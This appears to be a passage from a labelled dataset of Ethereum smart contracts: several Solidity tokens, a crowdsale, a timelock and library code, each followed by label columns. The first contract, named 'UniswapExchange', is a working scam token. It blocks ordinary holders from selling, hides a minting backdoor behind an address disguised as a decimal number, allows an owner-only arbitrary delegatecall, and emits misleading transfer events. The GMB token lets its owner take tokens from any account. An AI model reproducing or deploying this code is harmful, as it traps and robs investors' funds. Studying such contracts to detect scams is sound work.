using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,054 |
pragma solidity ^0.4.20;
library safeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Event
{
event Transfer(address indexed from, address indexed to, uint256 value);
event Deposit(address indexed sender, uint256 amount , string status);
event TokenBurn(address indexed from, uint256 value);
event TokenAdd(address indexed from, uint256 value);
event Set_Status(string changedStatus);
event Set_TokenReward(uint256 changedTokenReward);
event Set_TimeStamp(uint256 ICO_startingTime, uint256 ICO_closingTime);
event WithdrawETH(uint256 amount);
event BlockedAddress(address blockedAddress);
event TempLockedAddress(address tempLockAddress, uint256 unlockTime);
}
contract Variable
{
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
address public owner;
string public status;
uint256 internal _decimals;
uint256 internal tokenReward;
uint256 internal ICO_startingTime;
uint256 internal ICO_closingTime;
bool internal transferLock;
bool internal depositLock;
mapping (address => bool) public allowedAddress;
mapping (address => bool) public blockedAddress;
mapping (address => uint256) public tempLockedAddress;
address withdraw_wallet;
mapping (address => uint256) public balanceOf;
constructor() public
{
name = "GMB";
symbol = "GMB";
decimals = 18;
_decimals = 10 ** uint256(decimals);
tokenReward = 0;
totalSupply = _decimals * 5000000000;
status = "";
ICO_startingTime = 0;
ICO_closingTime = 0;
transferLock = true;
depositLock = true;
owner = 0xEfe9f7A61083ffE83Cbf833EeE61Eb1757Dd17BB;
balanceOf[owner] = totalSupply;
allowedAddress[owner] = true;
withdraw_wallet = 0x7f7e8355A4c8fA72222DC66Bbb3E701779a2808F;
}
}
contract Modifiers is Variable
{
modifier isOwner
{
assert(owner == msg.sender);
_;
}
modifier isValidAddress
{
assert(0x0 != msg.sender);
_;
}
}
contract Set is Variable, Modifiers, Event
{
function setStatus(string _status) public isOwner returns(bool success)
{
status = _status;
emit Set_Status(status);
return true;
}
function setTokenReward(uint256 _tokenReward) public isOwner returns(bool success)
{
tokenReward = _tokenReward;
emit Set_TokenReward(tokenReward);
return true;
}
function setTimeStamp(uint256 _ICO_startingTime,uint256 _ICO_closingTime) public isOwner returns(bool success)
{
ICO_startingTime = _ICO_startingTime;
ICO_closingTime = _ICO_closingTime;
emit Set_TimeStamp(ICO_startingTime, ICO_closingTime);
return true;
}
function setTransferLock(bool _transferLock) public isOwner returns(bool success)
{
transferLock = _transferLock;
return true;
}
function setDepositLock(bool _depositLock) public isOwner returns(bool success)
{
depositLock = _depositLock;
return true;
}
function setTimeStampStatus(uint256 _ICO_startingTime, uint256 _ICO_closingTime, string _status) public isOwner returns(bool success)
{
ICO_startingTime = _ICO_startingTime;
ICO_closingTime = _ICO_closingTime;
status = _status;
emit Set_TimeStamp(ICO_startingTime,ICO_closingTime);
emit Set_Status(status);
return true;
}
}
contract manageAddress is Variable, Modifiers, Event
{
function add_allowedAddress(address _address) public isOwner
{
allowedAddress[_address] = true;
}
function add_blockedAddress(address _address) public isOwner
{
require(_address != owner);
blockedAddress[_address] = true;
emit BlockedAddress(_address);
}
function delete_allowedAddress(address _address) public isOwner
{
require(_address != owner);
allowedAddress[_address] = false;
}
function delete_blockedAddress(address _address) public isOwner
{
blockedAddress[_address] = false;
}
}
contract Get is Variable, Modifiers
{
function get_tokenTime() public view returns(uint256 start, uint256 stop)
{
return (ICO_startingTime,ICO_closingTime);
}
function get_transferLock() public view returns(bool)
{
return transferLock;
}
function get_depositLock() public view returns(bool)
{
return depositLock;
}
function get_tokenReward() public view returns(uint256)
{
return tokenReward;
}
}
contract Admin is Variable, Modifiers, Event
{
function admin_transfer_tempLockAddress(address _to, uint256 _value, uint256 _unlockTime) public isOwner returns(bool success)
{
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + (_value ) >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
tempLockedAddress[_to] = _unlockTime;
emit Transfer(msg.sender, _to, _value);
emit TempLockedAddress(_to, _unlockTime);
return true;
}
function admin_transferFrom(address _from, address _to, uint256 _value) public isOwner returns(bool success)
{
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + (_value ) >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function admin_tokenBurn(uint256 _value) public isOwner returns(bool success)
{
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit TokenBurn(msg.sender, _value);
return true;
}
function admin_tokenAdd(uint256 _value) public isOwner returns(bool success)
{
balanceOf[msg.sender] += _value;
totalSupply += _value;
emit TokenAdd(msg.sender, _value);
return true;
}
function admin_renewLockedAddress(address _address, uint256 _unlockTime) public isOwner returns(bool success)
{
tempLockedAddress[_address] = _unlockTime;
emit TempLockedAddress(_address, _unlockTime);
return true;
}
}
contract GMB is Variable, Event, Get, Set, Admin, manageAddress
{
using safeMath for uint256;
function() payable public
{
require(ICO_startingTime < block.timestamp && ICO_closingTime > block.timestamp);
require(!depositLock);
uint256 tokenValue;
tokenValue = (msg.value).mul(tokenReward);
require(balanceOf[owner] >= tokenValue);
require(balanceOf[msg.sender].add(tokenValue) >= balanceOf[msg.sender]);
emit Deposit(msg.sender, msg.value, status);
balanceOf[owner] -= tokenValue;
balanceOf[msg.sender] += tokenValue;
emit Transfer(owner, msg.sender, tokenValue);
}
function transfer(address _to, uint256 _value) public isValidAddress
{
require(allowedAddress[msg.sender] || transferLock == false);
require(tempLockedAddress[msg.sender] < block.timestamp);
require(!blockedAddress[msg.sender] && !blockedAddress[_to]);
require(balanceOf[msg.sender] >= _value);
require((balanceOf[_to].add(_value)) >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
function ETH_withdraw(uint256 amount) public isOwner returns(bool)
{
withdraw_wallet.transfer(amount);
emit WithdrawETH(amount);
return true;
}
} | 0 | 2,001 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 rate, address wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract TieredPriceCrowdsale is Crowdsale {
uint256 private _baseRate;
uint256 private _tier2Start;
uint256 private _tier3Start;
uint256 private _tier4Start;
constructor(
uint256 baseRate,
uint256 openingTimeTier2,
uint256 openingTimeTier3,
uint256 openingTimeTier4
)
public
{
require(baseRate > 0);
require(openingTimeTier2 > block.timestamp);
require(openingTimeTier3 >= openingTimeTier2);
require(openingTimeTier4 >= openingTimeTier3);
_baseRate = baseRate;
_tier4Start = openingTimeTier4;
_tier3Start = openingTimeTier3;
_tier2Start = openingTimeTier2;
}
function _getbonusRate()
internal view returns (uint256)
{
if(_tier2Start > block.timestamp){
return(_baseRate * 6 / 5);
}
else if(_tier3Start > block.timestamp){
return(_baseRate * 11 / 10);
}
else if(_tier4Start > block.timestamp){
return(_baseRate * 21 / 20);
}
else {
return(_baseRate);
}
}
function bonusRate() public view returns(uint256) {
return _getbonusRate();
}
function tierStartTime(
uint256 tier
) external view returns(uint256)
{
if(tier == 2){
return _tier2Start;
}
else if(tier == 3){
return _tier3Start;
}
else if(tier == 4){
return _tier4Start;
}
return 0;
}
function _getTokenAmount(
uint256 weiAmount
)
internal view returns (uint256)
{
return weiAmount.mul(_getbonusRate());
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract CapperRole {
using Roles for Roles.Role;
event CapperAdded(address indexed account);
event CapperRemoved(address indexed account);
Roles.Role private cappers;
constructor() public {
cappers.add(msg.sender);
}
modifier onlyCapper() {
require(isCapper(msg.sender));
_;
}
function isCapper(address account) public view returns (bool) {
return cappers.has(account);
}
function addCapper(address account) public onlyCapper {
cappers.add(account);
emit CapperAdded(account);
}
function renounceCapper() public {
cappers.remove(msg.sender);
}
function _removeCapper(address account) internal {
cappers.remove(account);
emit CapperRemoved(account);
}
}
contract WhitelistedCrowdsale is Crowdsale, CapperRole {
using SafeMath for uint256;
uint256 private _invCap;
mapping(address => uint256) private _contributions;
mapping(address => uint256) private _caps;
constructor(uint256 invCap) public
{
require(invCap > 0);
_invCap = invCap;
}
function isWhitelisted(address beneficiary) public view returns (bool) {
return _caps[beneficiary] != 0;
}
function addAddressToWhitelist(address beneficiary) public onlyCapper returns (bool) {
require(beneficiary != address(0));
_caps[beneficiary] = _invCap;
return isWhitelisted(beneficiary);
}
function addAddressesToWhitelist(address[] _beneficiaries) external onlyCapper {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
addAddressToWhitelist(_beneficiaries[i]);
}
}
function removeAddressFromWhitelist(address beneficiary) public onlyCapper returns (bool) {
require(beneficiary != address(0));
_caps[beneficiary] = 0;
return isWhitelisted(beneficiary);
}
function removeAddressesFromWhitelist(address[] _beneficiaries) external onlyCapper {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
removeAddressFromWhitelist(_beneficiaries[i]);
}
}
function getContribution(address beneficiary)
public view returns (uint256)
{
return _contributions[beneficiary];
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
super._preValidatePurchase(beneficiary, weiAmount);
require(
_contributions[beneficiary].add(weiAmount) <= _caps[beneficiary]);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
super._updatePurchasingState(beneficiary, weiAmount);
_contributions[beneficiary] = _contributions[beneficiary].add(weiAmount);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
constructor(uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns(uint256) {
return _cap;
}
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor(uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp);
require(closingTime >= openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns(uint256) {
return _openingTime;
}
function closingTime() public view returns(uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized = false;
event CrowdsaleFinalized();
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized);
require(hasClosed());
_finalization();
emit CrowdsaleFinalized();
_finalized = true;
}
function _finalization() internal {
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
minters.add(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
minters.add(account);
emit MinterAdded(account);
}
function renounceMinter() public {
minters.remove(msg.sender);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
event MintingFinished();
bool private _mintingFinished = false;
modifier onlyBeforeMintingFinished() {
require(!_mintingFinished);
_;
}
function mintingFinished() public view returns(bool) {
return _mintingFinished;
}
function mint(
address to,
uint256 amount
)
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mint(to, amount);
return true;
}
function finishMinting()
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mintingFinished = true;
emit MintingFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
contract PlazaCrowdsale is CappedCrowdsale, FinalizableCrowdsale, MintedCrowdsale, WhitelistedCrowdsale, TieredPriceCrowdsale {
constructor(
uint256 openingTime,
uint256 closingTime,
uint256 rate,
address wallet,
uint256 cap,
ERC20Mintable token,
uint256 openingTimeTier4,
uint256 openingTimeTier3,
uint256 openingTimeTier2,
uint256 invCap
)
public
Crowdsale(rate, wallet, token)
CappedCrowdsale(cap)
WhitelistedCrowdsale(invCap)
TimedCrowdsale(openingTime, closingTime)
TieredPriceCrowdsale(rate, openingTimeTier2, openingTimeTier3, openingTimeTier4)
{}
} | 0 | 943 |
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ValorTimelock{
event EmergencyRelease(
address from,
address to,
uint256 value
);
ERC20 public token;
address public beneficiary;
uint256 public releaseTime;
address public owner;
constructor(ERC20 _token, address _beneficiary, address _admin, uint256 _duration )
public {
token = _token;
beneficiary = _beneficiary;
releaseTime = block.timestamp + _duration;
owner = _admin;
}
function release() external {
uint256 balance = token.balanceOf(address(this));
partialRelease(balance);
}
function partialRelease(uint256 _amount) public {
require(block.timestamp >= releaseTime);
uint256 balance = token.balanceOf(address(this));
require(balance >= _amount);
require(_amount > 0);
require(token.transfer(beneficiary, _amount));
}
function emergencyRelease() external{
require(msg.sender == owner);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
require(token.transfer(beneficiary, amount));
emit EmergencyRelease(msg.sender, beneficiary, amount);
}
} | 0 | 822 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
pragma experimental "v0.5.0";
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeMathFixedPoint {
using SafeMath for uint256;
function mul27(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).add(5 * 10**26).div(10**27);
}
function mul18(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).add(5 * 10**17).div(10**18);
}
function div18(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(10**18).add(y.div(2)).div(y);
}
function div27(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(10**27).add(y.div(2)).div(y);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Dai is ERC20 {
}
contract Weth is ERC20 {
function deposit() public payable;
function withdraw(uint wad) public;
}
contract Mkr is ERC20 {
}
contract Peth is ERC20 {
}
contract MatchingMarket {
function getBuyAmount(ERC20 tokenToBuy, ERC20 tokenToPay, uint256 amountToPay) external view returns(uint256 amountBought);
function getPayAmount(ERC20 tokenToPay, ERC20 tokenToBuy, uint amountToBuy) public constant returns (uint amountPaid);
function getBestOffer(ERC20 sell_gem, ERC20 buy_gem) public constant returns(uint offerId);
function getWorseOffer(uint id) public constant returns(uint offerId);
function getOffer(uint id) public constant returns (uint pay_amt, ERC20 pay_gem, uint buy_amt, ERC20 buy_gem);
function sellAllAmount(ERC20 pay_gem, uint pay_amt, ERC20 buy_gem, uint min_fill_amount) public returns (uint fill_amt);
function buyAllAmount(ERC20 buy_gem, uint buy_amt, ERC20 pay_gem, uint max_fill_amount) public returns (uint fill_amt);
}
contract DSValue {
function read() external view returns(bytes32);
}
contract Maker {
function sai() external view returns(Dai);
function gem() external view returns(Weth);
function gov() external view returns(Mkr);
function skr() external view returns(Peth);
function pip() external view returns(DSValue);
